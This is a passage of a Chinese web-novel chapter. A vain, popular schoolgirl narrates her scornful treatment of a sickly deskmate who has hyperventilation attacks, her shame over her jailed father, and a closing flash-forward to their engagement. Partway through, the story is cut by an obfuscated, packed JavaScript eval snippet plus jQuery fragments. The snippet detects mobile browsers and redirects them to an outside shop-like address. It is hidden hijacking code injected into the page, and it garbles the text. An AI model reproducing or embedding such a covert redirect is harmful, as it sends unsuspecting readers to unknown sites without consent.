“李君同，你这回是和那谁坐！”
每半学期一次大调，换座位。我指望遇见一个聊得来的同桌，虽然对排座位的班长谄媚些，也能达到目的，但是我没有那么做。原因很简单，我在班上受欢迎，任何人都不会想为难我。
我问：“谁啊？”
前同桌笑嘻嘻的：“你猜？”
我心说，不能是之前角落里那个邋遢的胖子吧。虽然刚经历过分班，彼此都不太熟悉，但不代表我想和不合眼缘的人坐到一块。我靠窗，淋着剔透的阳光，心想，最好别离开这位置。
我的脸被阳光一照，应该很迷人。
“我不知道。”
“隔壁班来的，黎玉钟。”
我蹙眉，“那个是谁？”
那个是谁，我真不知道，如果是我不知道的人，大概率不是什么出名的，或者有趣的人。但前同桌又提示我，“思想者啊，就是你说得那个思想者。”我想起来了，我是起过那个绰号。
军训的时候，有个不用军训的人，任谁都会对他产生好奇和嫉妒。有一天，我和朋友们看到他坐在草地的长椅上，双腿之间夹着一本书，一手托腮，蹙眉深思。和他身后的雕塑很像。
的确很像。
朋友们开怀大笑。
后来我偶尔能碰到思想者，并且，因为我人缘广泛，这个绰号很快传开了。我无从得知绰号的本人是否喜欢它，不过，我也不在乎。我风趣、幽默，玩笑似的嘲讽一个和我素不相识的人，然后博得众人的关注和笑容。而且就算我冒犯到他，想必这样奇怪的人，也不敢追究我。
毕竟我那么漂亮。
那时的我，那时的李君同，骄傲、趾高气扬，人群的中心，除了出现在班级和走廊、操场，还出现在别人的口中，相册里，聊天框里，甚至，某封表白情书上。所以换座位时，我正在整理书桌里的信，摆放好它们，存放在一个铁盒里，我不在意里面的内容，只在意它的厚度。
我如此目中无人。
目空一切。
暂时想不到有哪位同龄人配得上我。
突然有人坐到我旁边的空位。前同桌的东西还没搬走，整间教室里都在换座位，嘈杂的“让一让”“借过一下”此起彼伏，我很好运，依旧安排在窗边属于我的原座。空气里满是尘埃。
我抬头和思想者对视。
其实我并不熟悉他，他的脸，他的性格，还有他是什么样的人。我没有抵触他成为我的同桌，别惹我不开心就好。他指尖夹着一封粉红的书信，看着我，嘴唇碰了碰，他说话声音很小。
听不清。
我挑眉：“给我的吗？”
“掉在地上的。”他说。
哦。
切。
装什么哦。
他面无表情，让我觉得脸上挂不住，我误会了这个。算了，思想者，不过是个被我起外号的男生，他有什么出众吗？我观察着他苍白的脸，比其他人要柔软和浅淡的发色，阳光下泛着亚健康的黄。他不矮，但身形瘦弱，像女生穿着男生的校服，他的指尖泛着紧促的粉红色。
我接过，放进那只铁盒里。
他又说：“……我的位置。”
“什么？”我真的听不清，桌子椅子挪的声音都很吵，我提高了音量，“你能大声一点吗？”
他的肩膀一颤，幅度很小，我猜是我的音量吓到了他。我有点厌恶，其实。我在所有同学和老师面前表现得善良、慷慨，不太议论别人的短处，但是，要面对我自己的内心，还是有点。
嫌弃？
也说不好。
他也提高了音量：
“你坐的是我的位置。”
原来是这事。我都忘记了，因为喜欢靠窗坐，所以每次都商量和坐在内侧的同桌换，基本上不会被拒绝，我也习惯了不被拒绝的请求。所以我同他商量我能坐窗边吗，没想到他拒绝我。
“我也想……”
“哎呀，”我打断他，“我坐习惯了。”
我想，我应该找好了角度，让光晕正好落在我的鼻子上。我皱着眉头看向他，表现出无辜和央求。他一定不会拒绝我的，我自信地认为，很少有这种事发生，往往需要再央求个几遍，如果还不成，就佯装成宽容大度的模样，说，好啦，没关系的，把这件事轻飘飘地揭过去。
我在心底冷漠地想。
他沉默片刻，“也可以。”
“谢谢你！”我必须装作很受馈赠的样子，还要表现出适当的惊讶。之后，我还要和走过来同我聊天的朋友提及这件事，说他有多么好。因为他是个不受欢迎的人，他几乎不与人同行。
这是我观察到的思想者。
事实也正如我想得那样，黎玉钟，孤僻、胆小，即便是偶尔被老师点起来回答问题，或者有同学找他说话，他的音量也比我见过的所有人都小。然后，他还咳嗽，捂着嘴轻轻地闷咳。
他还是个男生吗？
我常常怀疑。
直到目睹他和其余男生一样走进男厕所，我才打消了这个念头。彼时正是第一个学年的体测，作为体育委员，我要监督每一位同学跑操。早春时节，将暖还寒，呼出的气透着沸喉的凉。
黎玉钟向班主任递交的申请里，如果身体不适，可以停止一切对心肺有负担的活动。我觉得没那么过，我看到过他在宽阔的场馆里打羽毛球，他能跑，我认为能，所以，当他跑完一圈气喘吁吁地停下脚步时，我吹哨，严肃地催促他。我承认我有奚落他的意图，“动起来啊。”
他显得有些艰难。
我拍了拍手，“动起来，动起来。”
结果就动出事了。
当时还没觉得有什么，因为大课间跑完就要回班，走进教学楼，楼梯上是堵着的，班上也没开窗，闷得乌烟瘴气的，特别是人流汗又喘气的。黎玉钟虚弱地趴在桌上，挡住我进去的路。
我轻咳了两声。
他就像没有听见。
所以我又重咳了两声，轻轻地踢了踢他的桌角。他缓缓抬起头来。在还未看清楚他的脸时，我的确在想，他有可能为了报复我让他受罪，故意不搭理我，不给我让座。是有这种人。
但很快，我不这么想了。
他的脸色太差了。
他的脸，
红透了。
那红晕由于出现在他过分苍白和削瘦的脸颊上，像是油彩涂抹上去，像给他上妆。他深深地蹙着眉头，额头上满是薄汗，惊慌，无措，用校服袖子蒙住鼻唇，就着一点点的缝隙呼吸着。
“怎么了？”我问。
哪有人那么夸张？跑两步就不行了。至此我还觉得黎玉钟在惺惺作态，哪个人呼吸不过来，还能维持如此斯文的表情。他也摇了摇头，一只手撑起身，给我让座，但很快又倒了回去。
我吓了一跳。
我大喊，思想者晕倒了！立刻有人来围观，我感到很不安，然后班主任来了，急匆匆地赶到黎玉钟身边，摁住他的肚子，帮助他呼吸。然后又从他的课桌里拿出一个很大的牛皮纸袋。
黎玉钟的下半张脸都被纸袋遮掩住，他无意识地眯起眼，看起来离死不远了。我手指不知不觉已经凉透了，紧紧地掐进掌心。那一刻我把所有最严重的事都想了一遍，我恐怕要完蛋了。
难不成我也背上人命了？
好在，没有。
班主任很生气，问班长位置到底是怎么排的，他再三强调了要让黎玉钟坐窗边，不能仅仅是“靠窗的位子”。班长说就是那样排的，但是她瞥了我一眼，又改口，“可能是不小心弄错了。”
我顿时面红耳赤。
“黎玉钟的身体有问题，很容易咳到喘到，必须呼吸新鲜空气。我让你们经常开窗，我说了没有？”班主任又严厉地走到我的桌子前，翻开练习册，看到我的名字。他没那么凶残了。
“李君同，你下节课跟他换回来。”
班主任说的是“换回来”，我猜他很有可能知道我擅作主张了，但是为了给我留一份体面。血液渐渐从面庞涌向四肢，我说，知道了。他又问其余同学，黎玉钟大课间做了剧烈运动没。
“他跑了两圈。”有人说。
“谁让他跑的？”班主任又严厉起来。
所有人都齐刷刷看向我。
我说：“是我，老师，对不起。”
他略微问责，“你不知道黎同学有身体问题？”
“我不知道。”我咬着嘴唇。
黎玉钟很虚弱地开口：“老师，是我没和体育委员说清楚，我当时觉得自己身体没问题。”
他说话的声音其实很小，因为刚喘匀气，更是断断续续。但班上太安静了，就显得很有份量的样子。我表面上松了口气，心里厌恶地道，既然他有病，就应该和我说呀！害我被批评！
我那么要面子的人。
“你觉得，你觉得！”班主任也有点愠气，能理解，如果出了那样的事，谁都没办法负责。他对待病患的态度更加恶劣，“你自己应该最清楚自己的身体，是什么状况，平时该怎么样！”
“……对不起，老师。”
他又转向我：
“对不起。”
这件事就此告一段落。
我的良知告诉我，他已经很可怜了，并不需要向谁道歉。其实我的怜悯心不是特别重，走在路上看到流浪的小猫小狗，我从不蹲下，而是目不斜视地走过去。我天生匮乏一定的善意。
即便如此，当我虚弱的同桌，刚结束他和鬼门关的拼搏，那张沁润着薄汗的脸，疲惫，腼腆，又满怀愧疚，除此之外，好像是束手无策的平静。搞什么，我心灰意冷，我真是倒霉透了。
我没必要同情他。
我干嘛要和他坐同桌？害得我被班主任那样“警告”，从小到大没有人出格地对待我。我下节课立刻闷着脑袋换座位。我采取的是直接搬书桌的方式，他要挪自己的桌子，我立刻抬声：
“放下！”
他愣了愣，手指慢慢地从他坚硬的桌沿，松懈开。我用我已经能维持的，最友善、最理智的嗓音，我说：“你的身体都虚弱成那样了，我不好意思让你搬桌子，免得又出了什么意外。”
我想他一定读懂了我的言外之意。因为他讷讷地挪开他的手。那是一双骨节分明、血管明晰的手，我的手由于刻意降低体脂率，已经有点浮夸了。但是黎玉钟比我有过之而无不及。
他低声说：“……不是身体原因。”
“什么？”我有些不耐烦。
“我是，过呼吸症，有时候太激动，或者情绪，”他结结巴巴地解释，“情绪不好，才会……”
我蹙眉：“你的意思是，因为我让你跑步，你情绪不好，所以才那样？还是我踢了你的桌子？”
“不是！”他有些急切，“我很少能跑完两圈，在规定时间。因为害怕自己没做到，很紧张。”
“你是因为紧张才犯病了？”
我觉得我这么说有点没礼貌。但他看起来一副小心翼翼的样子，想必也没资格觉得，他肯定不想得罪我，因为我在班上人缘非常好。而且他这样的病秧子，肯定从小到大没什么朋友。
他肯定很孤独。
我就不一样，我受欢迎，同学们都喜欢我，老师也偏爱我。自尊心于这时候的我，是得不到就会咬牙切齿的东西，我为此准备了充沛的表演欲。我担忧地说：“难怪，一定很不容易吧。”
“……嗯。”他看起来有点高兴，因为我的理解。我虚假的理解，他当真了，真可笑，我可一点都不同情他。他又说，“其实我的身体，真的没问题，还有，可能当时班上人太多了……”
行了，我没兴趣听他讲他的那些事，别把随手施舍的善意当作结交的信号。我不动声色地将座位换好，就起身去接水了。在接水的池子那里，有别班的人来问我，黎玉钟晕倒的事情。
传得这么快。
我有点反胃，好事不出门，坏事传千里。千万别说是我刁难他，不让他停下来休息什么的。我做贼心虚地打听了几句，好在没人那么想。把自己撇干净，我的名声，还不想变得糟糕。
这是我唯一珍惜的东西。
-
相安无事地度过这半个学期吧。
等下个学期，换座位，我保准不会和黎玉钟再同桌了！尽管他学习成绩很好，并且性格上也不怎么会拒绝人，是完全不会拒绝。这种傻子，我和他没有共同话题，我的快乐和他不相通。
浮躁的年纪，连校服的领口、袖口和裤腕都要讲究的年纪，脸上长了几颗闭口，一清二楚。杜绝了涂脂抹粉，就在别的地方钻研心思，眼睛，手表，鞋子，牌子货，拗口的读不出的。
我穿过A货。
朋友圈里，新货发成九宫格，价格比它象征的意义要便宜许多。大部分人的眼界就在那里，没人分辨得出来，分辨得出来的人，八成也不屑于去指正。我得以营造出家境不差的假象。
然后，踩着硬硬厚厚的篮球鞋的底子，在操场上转圈，挽着朋友的手，谈论某个惹人讨厌的教导主任，某个最近在年级里出名的人物，当然，肯定有男生。无非是少女时代的调剂品。
八卦满天飞。
深知越漂亮的人，越要和异性保持好距离，否则就会成为同性的公敌。我选择“投靠”女生阵营，对异性的示好敬而远之，这往往受到褒奖，一些女生肯定了我，因为她们讨厌的同性样貌不如我，偏偏和男生们的关系要好，她们就会说：“李君同那么漂亮，都不像她那样！”
好像我很检点。
不是。完全不。我比她们想的要更关注男生，并且，一定要表现得更不屑一顾。这符合我的脸蛋，我营造的人设。我苦心经营，希望它讨喜一些，再讨喜一些。就像写一本虚拟小说。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808379|190758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的笔尖是心惊胆战的汗水。
非必要的情况下，我不对任何一个人袒露心扉，哪怕是再亲密的同性。哪怕是和我用上情头的闺蜜，上厕所接水都要一起，也不会。如果要被窥探，我心想，最不愿意的就是被熟人。
我还遇上一件很麻烦的事。
冬季趣味运动会，很多新项目，高一和高二都搞。我作为体育委员，负责报名。在双人羽毛球的赛事上，我们班只有一个有意愿，并且有资格参加的男生。另一个，则被我严厉回绝了。
“你不能报。”我说。
黎玉钟难得的，表现出想与我争辩的态度：“我可以的。我的身体没问题，而且，都说好了。”
“什么说好了？”我问。
如我所料，他说另一个报名的男生。我几乎想笑：“我要的是，你和你家里人说好了，你和老班说好了，你和你搭子说好有什么用？再说了，真出了什么事，谁能负责？你能负责吗？”
他说：“班主任说我可以上去打，就当成平时去打，别当作比赛。一觉得累，换下来就好了。”
“那你家里人呢？”
“都说好了。”
我沉默片刻，“不行。”
生怕他觉得我不可理喻，我大声说：“就你这个身体，哪里敢让你上阵杀敌？去后方呆着！”
我经常作为黎玉钟的嘴巴。自从那件事之后，我算是长了记性，体育课上老师问他怎么不跑，我大声说，老师他身体有问题。要搬书，换座，大扫除，我也带着“善意”地阻止他干活。
渐渐的，班上的人也默认了他是孱弱者，是需要保护起来的角色。我不需要做什么，我做我该做的事情，剩下的，别人怎么理解他，是他的事。不过他确实处理不好自己的人际关系。
他的病，很碍事，让人关护他，在这个基础上，再敬而远之。可以想象他初中三年，小学，甚至幼儿园，别人可以尽情大闹推搡的时候，他是怎么过来的。他像一个易碎的玻璃娃娃。
没人想接触他。
也难怪他有意隐瞒。
这一切统统不关我的事，可谁能想到，报名没成，他竟然有点迁怒于我。其实运动会都过去好久了，我原以为这事都过去了。一个生物课的晚自习，大家再次开起他“肺喘者”的玩笑，顺带一提，这个外号也是我起的，但我以为他没什么意见，毕竟他从未就此发表任何意见。
趁着我去办公室交卷子，他也跟过来，在半暗的廊道里，他说：“能不能别给我起外号了？”
“为什么？”我不觉得过分。
他低下那张柔弱的脸。
“就是……不喜欢。”
你不喜欢，呵呵，你不喜欢的事情多了去了。就连我不喜欢的事情也多了去了。但是我比你要高贵，在那时的我的价值观里，足够受欢迎，花团锦簇，没有一个女生或男生对我摆脸色。
我不是只对他一个人开玩笑，也许我有带头作用，引导别人说什么话了。但是，是我的错吗？那些盲目被我的言语逗乐的乌合之众，那些一只一只往我指的地方跳的羊群，它们没有错？
他为什么只对我说？
我想了很多个理由，我通常以不亚于自己的恶毒去揣测他人，我的身上一定是带着锐刺的，我自己都能感受出来。其中一个理由，他误把我认为人群中最善良、最好说话的人了，对吗？
他把我当作最好欺负的那个。
我就问：“你怎么不和别人说去？”
他愣了愣，随后，局促地捏紧他的校服袖子。我想起他以这块布料掩住过口鼻，在被洗衣液焕然一新之前，肯定沾染了他的喘息、痛苦和口水。他总是很容易变红的脸颊，很像玫瑰。
他说：“我把你当作……”
操。
不是吧。
他千万别说那个词！
“不是！”我立刻说，“你想多了！”
说完我就退后，生怕沾染上什么脏东西。其实我应该按步骤来，拒绝别人的示好总是有一套步骤的，首先表示感谢，再适当地抬高别人和贬低自己，然后说出那句不合适。我理应如此。
这算是我的失态。
我飞快地解释：“我跟别人解释你身体不好，就是怕你再出什么事，我是体育委员也要负责。我不想班主任说我，更不想别人说我，就这么简单。还有，既然你不喜欢，我以后不会了。”
我用的“喜欢”这个词，因为我也误会了：我以为男生会热衷于被我这种受人欢迎的女生开玩笑呢，因为每当我皱着眉头，冷笑着调侃他们，他们总伴随着呆滞的、欣喜难挨的笑容。
切。
不识趣。
难怪他不受欢迎。
真没意思。
在这之后，我和思想者就没交集了。
家长会快到了，我着急找一个能扮演的人，花了八百多块。找到学校附近一个火锅店的老板，我就说我家里人都在外地，来不了。他觉得我是小姑娘好面子，我穿着校服，没什么好骗他。
我跟他说，不用说什么话，开完会签个字就能走人了。我说我爸的名字时，脸上泛着烫意，生怕他知道那是谁，好在他应该不知道。多年前，在工地上砍人，然后还上电视的那一个。
我不知道他和工友发生了什么，反正他被关进去了，我妈也二婚了，不常来看我。没跟我爸说家长会的事，我一上小学他被关进去，我被人笑话六年。初中在一个区，转不了别的地方，还是那些熟面孔，我没能交到朋友，我抑郁得要疯掉了，所以高中我特地到另一个区的学校。
我没想到他找了过来。
当时还下了很大的雨，他执意要进我学校，我把他往旁边的巷子里推。他问为什么不让，我说谁家人能让，你别去给我丢脸了。他扯着嗓门说，我给你丢脸吗？我说对，你个杀人犯！互砍怎么没砍死你呢？他扬声说当时又不是他的错。我不是和他争这个的，我说，让他滚。
他给了我一巴掌，就走了。
神经，神经病，如果不是怕被同学看到，我早就从后面骑上他的肩膀，指甲撕开他的头皮，把里面的东西抠出来扔进下水道里！我红着眼眶，狠狠地咬住唇，额发的雨水滴进眼睛里，冰冷，刺骨。我懊恼地抹了把模糊的眼，视线里突然出现一把伞，我一抬头，看见黎玉钟。
一瞬间，自卑贯穿了我。
我如遭雷击。
我狠狠拍开他递来的伞。
“你装什么好人？”
伞砸在地上，溅起一地的水花。我粗重地喘息着，克制自己冷静下来。眼前再次被黑色覆盖。
他再次，将伞塞进我的手里。他的指骨并住我的手背，尝试缓缓攥紧。伞柄是坚硬而温冷的。我闭了闭眼，再睁开时，温暖莹亮的吊顶灯光，周遭有掌声，指骨上坚硬的触感，我垂眼。
黎玉钟将订婚戒指戴在我手上。